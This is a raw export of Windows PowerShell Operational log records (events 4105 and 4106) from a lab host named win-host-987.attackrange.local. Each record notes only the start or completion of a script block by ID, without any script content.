09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029001
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028996
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028995
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028973
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028972
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028971
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028970
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028953
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
